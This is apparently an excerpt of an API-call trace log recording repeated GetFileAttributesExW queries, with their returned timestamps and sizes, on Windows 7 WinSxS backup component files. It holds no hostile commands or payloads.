	[0101.316] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..onment-dvd-etfsboot_31bf3856ad364e35_6.1.7600.16385_none_82523ed4cbbd035a_etfsboot.com_ef11feb5" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..onment-dvd-etfsboot_31bf3856ad364e35_6.1.7600.16385_none_82523ed4cbbd035a_etfsboot.com_ef11feb5"), fInfoLevelId=0x0, lpFileInformation=0x1285de58 | out: lpFileInformation=0x1285de58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ffd4970, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7ab79d34, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7ab79d34, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0101.316] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..re-bootmanager-pcat_31bf3856ad364e35_6.1.7601.17514_none_c5311c6f11729c15.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..re-bootmanager-pcat_31bf3856ad364e35_6.1.7601.17514_none_c5311c6f11729c15.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285dea8 | out: lpFileInformation=0x1285dea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7ad7a2c, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf3c39896, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf3c39896, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xfda)) returned 1
	[0101.316] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..re-bootmanager-pcat_31bf3856ad364e35_6.1.7601.17514_none_c5311c6f11729c15_bootmgr_07e7e7fe" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..re-bootmanager-pcat_31bf3856ad364e35_6.1.7601.17514_none_c5311c6f11729c15_bootmgr_07e7e7fe"), fInfoLevelId=0x0, lpFileInformation=0x1285def8 | out: lpFileInformation=0x1285def8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7b23cec, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf3c39896, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf3c5f9f6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a)) returned 1
	[0101.316] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..re-memorydiagnostic_31bf3856ad364e35_6.1.7601.17514_none_da3cb85562df73c9.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..re-memorydiagnostic_31bf3856ad364e35_6.1.7601.17514_none_da3cb85562df73c9.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285df48 | out: lpFileInformation=0x1285df48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c65c8c, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf4337943, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf4337943, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd36)) returned 1
	[0101.316] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..re-memorydiagnostic_31bf3856ad364e35_6.1.7601.17514_none_da3cb85562df73c9_memtest.exe_01d80391" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..re-memorydiagnostic_31bf3856ad364e35_6.1.7601.17514_none_da3cb85562df73c9_memtest.exe_01d80391"), fInfoLevelId=0x0, lpFileInformation=0x1285df98 | out: lpFileInformation=0x1285df98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8cb1f4d, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf4337943, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf4337943, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980)) returned 1
	[0101.317] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..ronment-dvd-bootfix_31bf3856ad364e35_6.1.7600.16385_none_7157b258f5bac0c5.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..ronment-dvd-bootfix_31bf3856ad364e35_6.1.7600.16385_none_7157b258f5bac0c5.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1254e008 | out: lpFileInformation=0x1254e008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ffd4970, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7abc5ff5, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7abc5ff5, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x844)) returned 1
	[0101.317] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-basedependencies_31bf3856ad364e35_6.1.7600.16385_none_027847e78a22fdb1.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-basedependencies_31bf3856ad364e35_6.1.7600.16385_none_027847e78a22fdb1.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1254e058 | out: lpFileInformation=0x1254e058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7e10e1, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xb8a7a4bb, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xb8aec476, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0xaab)) returned 1
	[0101.317] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-basedependencies_31bf3856ad364e35_6.1.7600.16385_none_027847e78a22fdb1_psapi.dll_e8b5b4d1" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-basedependencies_31bf3856ad364e35_6.1.7600.16385_none_027847e78a22fdb1_psapi.dll_e8b5b4d1"), fInfoLevelId=0x0, lpFileInformation=0x1254e0a8 | out: lpFileInformation=0x1254e0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7e10e1, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xb8aec476, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xb8aec476, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x1800)) returned 1
	[0101.317] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-basic-misc-tools_31bf3856ad364e35_6.1.7600.16385_none_17330d9420bf24e8.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-basic-misc-tools_31bf3856ad364e35_6.1.7600.16385_none_17330d9420bf24e8.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1254e0f8 | out: lpFileInformation=0x1254e0f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e3c5411, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xc179c96, ftLastAccessTime.dwHighDateTime=0x1ca042f, ftLastWriteTime.dwLowDateTime=0xc1c5c68, ftLastWriteTime.dwHighDateTime=0x1ca042f, nFileSizeHigh=0x0, nFileSizeLow=0x1001)) returned 1
	[0101.317] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-basic-misc-tools_31bf3856ad364e35_6.1.7600.16385_none_17330d9420bf24e8_expand.exe_f43b24c8" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-basic-misc-tools_31bf3856ad364e35_6.1.7600.16385_none_17330d9420bf24e8_expand.exe_f43b24c8"), fInfoLevelId=0x0, lpFileInformation=0x1254e148 | out: lpFileInformation=0x1254e148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e3c5411, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xc1ebc51, ftLastAccessTime.dwHighDateTime=0x1ca042f, ftLastWriteTime.dwLowDateTime=0xc237c23, ftLastWriteTime.dwHighDateTime=0x1ca042f, nFileSizeHigh=0x0, nFileSizeLow=0xd000)) returned 1
	[0101.318] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-basic-misc-tools_31bf3856ad364e35_6.1.7600.16385_none_17330d9420bf24e8_netmsg.dll_52337068" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-basic-misc-tools_31bf3856ad364e35_6.1.7600.16385_none_17330d9420bf24e8_netmsg.dll_52337068"), fInfoLevelId=0x0, lpFileInformation=0x1254e198 | out: lpFileInformation=0x1254e198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e3c5411, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xc1c5c68, ftLastAccessTime.dwHighDateTime=0x1ca042f, ftLastWriteTime.dwLowDateTime=0xc1ebc51, ftLastWriteTime.dwHighDateTime=0x1ca042f, nFileSizeHigh=0x0, nFileSizeLow=0x800)) returned 1
	[0101.318] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-bcrypt-primitives-dll_31bf3856ad364e35_6.1.7600.16385_none_1207cf88785de24d.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-bcrypt-primitives-dll_31bf3856ad364e35_6.1.7600.16385_none_1207cf88785de24d.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1254e1e8 | out: lpFileInformation=0x1254e1e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1df4fadf, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xf2c991ae, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xf2cbf197, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x9a2)) returned 1
	[0101.318] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-bcrypt-primitives-dll_31bf3856ad364e35_6.1.7600.16385_none_1207cf88785de24d_bcryptprimitives.dll_5dcb347c" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-bcrypt-primitives-dll_31bf3856ad364e35_6.1.7600.16385_none_1207cf88785de24d_bcryptprimitives.dll_5dcb347c"), fInfoLevelId=0x0, lpFileInformation=0x1254e238 | out: lpFileInformation=0x1254e238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1df4fadf, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xf2cbf197, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xf2d7d124, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x3cf50)) returned 1
	[0101.318] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-bootvid_31bf3856ad364e35_6.1.7600.16385_none_384fd19ce787f20c.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-bootvid_31bf3856ad364e35_6.1.7600.16385_none_384fd19ce787f20c.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1254e288 | out: lpFileInformation=0x1254e288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1df9bc8d, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xf43e6393, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xf447e337, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0xa2b)) returned 1
	[0101.318] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-bootvid_31bf3856ad364e35_6.1.7600.16385_none_384fd19ce787f20c_bootvid.dll_c188118d" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-bootvid_31bf3856ad364e35_6.1.7600.16385_none_384fd19ce787f20c_bootvid.dll_c188118d"), fInfoLevelId=0x0, lpFileInformation=0x1254e2d8 | out: lpFileInformation=0x1254e2d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1df9bc8d, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xf447e337, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xf44a4320, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x5450)) returned 1
	[0101.319] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-branding-engine_31bf3856ad364e35_6.1.7600.16385_none_e9402ec0c6b7a25b.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-branding-engine_31bf3856ad364e35_6.1.7600.16385_none_e9402ec0c6b7a25b.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1254e328 | out: lpFileInformation=0x1254e328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9f5ca3, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xca7e17f6, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xca8077df, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0xc6a)) returned 1
	[0101.319] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-branding-engine_31bf3856ad364e35_6.1.7600.16385_none_e9402ec0c6b7a25b_winbrand.dll_9cd6a3cf" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-branding-engine_31bf3856ad364e35_6.1.7600.16385_none_e9402ec0c6b7a25b_winbrand.dll_9cd6a3cf"), fInfoLevelId=0x0, lpFileInformation=0x1254e378 | out: lpFileInformation=0x1254e378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9f5ca3, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xca8077df, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xca8537b1, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x3200)) returned 1
	[0101.319] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-browseui_31bf3856ad364e35_6.1.7601.17514_none_32ea4b9e4497e627.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-browseui_31bf3856ad364e35_6.1.7601.17514_none_32ea4b9e4497e627.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1254e3c8 | out: lpFileInformation=0x1254e3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4190862, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf356194a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf3587aaa, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9b4)) returned 1
	[0101.319] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-browseui_31bf3856ad364e35_6.1.7601.17514_none_32ea4b9e4497e627_browseui.dll_7a6f3790" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-browseui_31bf3856ad364e35_6.1.7601.17514_none_32ea4b9e4497e627_browseui.dll_7a6f3790"), fInfoLevelId=0x0, lpFileInformation=0x1254e418 | out: lpFileInformation=0x1254e418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41dcb23, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf3587aaa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf3587aaa, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2a00)) returned 1
	[0101.319] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-c..ermodepnp.resources_31bf3856ad364e35_6.1.7600.16385_en-us_eb5ec32f73606acf.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-c..ermodepnp.resources_31bf3856ad364e35_6.1.7600.16385_en-us_eb5ec32f73606acf.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1254e468 | out: lpFileInformation=0x1254e468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec312e9, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ab7b547, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ab7b547, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd1f)) returned 1
	[0101.319] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-c..ermodepnp.resources_31bf3856ad364e35_6.1.7600.16385_en-us_eb5ec32f73606acf_drvinst.exe.mui_e88f4c73" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-c..ermodepnp.resources_31bf3856ad364e35_6.1.7600.16385_en-us_eb5ec32f73606acf_drvinst.exe.mui_e88f4c73"), fInfoLevelId=0x0, lpFileInformation=0x1254e4b8 | out: lpFileInformation=0x1254e4b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec312e9, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ab7b547, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ab7b547, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800)) returned 1
	[0101.319] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-c..ermodepnp.resources_31bf3856ad364e35_6.1.7600.16385_en-us_eb5ec32f73606acf_umpnpmgr.dll.mui_d66aed17" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-c..ermodepnp.resources_31bf3856ad364e35_6.1.7600.16385_en-us_eb5ec32f73606acf_umpnpmgr.dll.mui_d66aed17"), fInfoLevelId=0x0, lpFileInformation=0x1254e508 | out: lpFileInformation=0x1254e508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec312e9, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ab7b547, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ab7b547, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3e00)) returned 1
	[0101.320] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-c..graphy-cryptoconfig_31bf3856ad364e35_6.1.7600.16385_none_a627b893fdbe3637.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-c..graphy-cryptoconfig_31bf3856ad364e35_6.1.7600.16385_none_a627b893fdbe3637.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1254e558 | out: lpFileInformation=0x1254e558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ddd3279, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xe9eb6792, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xe9f02764, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x131b1)) returned 1
	[0101.320] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-c..ityclient.resources_31bf3856ad364e35_6.1.7600.16385_en-us_6495ad0e01284ea4.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-c..ityclient.resources_31bf3856ad364e35_6.1.7600.16385_en-us_6495ad0e01284ea4.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1254e5a8 | out: lpFileInformation=0x1254e5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ed628b1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ae04390, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ae04390, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x96e)) returned 1
	[0101.320] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-c..ityclient.resources_31bf3856ad364e35_6.1.7600.16385_en-us_6495ad0e01284ea4_certcli.dll.mui_1b6822cf" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-c..ityclient.resources_31bf3856ad364e35_6.1.7600.16385_en-us_6495ad0e01284ea4_certcli.dll.mui_1b6822cf"), fInfoLevelId=0x0, lpFileInformation=0x1254e5f8 | out: lpFileInformation=0x1254e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ed628b1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ae04390, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ae04390, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3800)) returned 1
	[0101.320] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-c..tionauthorityclient_31bf3856ad364e35_6.1.7601.17514_none_d9851f679ae9a131.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-c..tionauthorityclient_31bf3856ad364e35_6.1.7601.17514_none_d9851f679ae9a131.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1254e648 | out: lpFileInformation=0x1254e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9dfdf24, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf749c21e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf74c237e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x855f)) returned 1
	[0101.320] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-c..tionauthorityclient_31bf3856ad364e35_6.1.7601.17514_none_d9851f679ae9a131_certcli.dll_f553bbce" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-c..tionauthorityclient_31bf3856ad364e35_6.1.7601.17514_none_d9851f679ae9a131_certcli.dll_f553bbce"), fInfoLevelId=0x0, lpFileInformation=0x1254e698 | out: lpFileInformation=0x1254e698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9e24084, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf74c237e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf74c237e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53800)) returned 1
	[0101.320] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-c..vider-dll.resources_31bf3856ad364e35_6.1.7600.16385_en-us_aac12e1c9878d430.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-c..vider-dll.resources_31bf3856ad364e35_6.1.7600.16385_en-us_aac12e1c9878d430.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1254e6e8 | out: lpFileInformation=0x1254e6e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec0b030, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ab5528e, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ab5528e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x968)) returned 1
	[0101.320] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-c..vider-dll.resources_31bf3856ad364e35_6.1.7600.16385_en-us_aac12e1c9878d430_certcredprovider.dll.mui_b5ad161e" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-c..vider-dll.resources_31bf3856ad364e35_6.1.7600.16385_en-us_aac12e1c9878d430_certcredprovider.dll.mui_b5ad161e"), fInfoLevelId=0x0, lpFileInformation=0x1254e738 | out: lpFileInformation=0x1254e738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec0b030, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ab5528e, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ab5528e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0101.321] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-cabinet_31bf3856ad364e35_6.1.7601.17514_none_3946bb08402dcd51.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-cabinet_31bf3856ad364e35_6.1.7601.17514_none_3946bb08402dcd51.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1254e788 | out: lpFileInformation=0x1254e788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa78502c7, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf3c13736, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf3c13736, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x960)) returned 1
	[0101.321] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-cabinet_31bf3856ad364e35_6.1.7601.17514_none_3946bb08402dcd51_cabinet.dll_7ab07912" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-cabinet_31bf3856ad364e35_6.1.7601.17514_none_3946bb08402dcd51_cabinet.dll_7ab07912"), fInfoLevelId=0x0, lpFileInformation=0x1254e7d8 | out: lpFileInformation=0x1254e7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7876427, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf3c13736, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf3c13736, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e00)) returned 1
	[0101.321] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-capi2_31bf3856ad364e35_6.1.7600.16385_none_5803d21d45e2e6dc.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-capi2_31bf3856ad364e35_6.1.7600.16385_none_5803d21d45e2e6dc.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1254e828 | out: lpFileInformation=0x1254e828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e3c5411, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xc6ac93f, ftLastAccessTime.dwHighDateTime=0x1ca042f, ftLastWriteTime.dwLowDateTime=0xc6ac93f, ftLastWriteTime.dwHighDateTime=0x1ca042f, nFileSizeHigh=0x0, nFileSizeLow=0x3f7)) returned 1
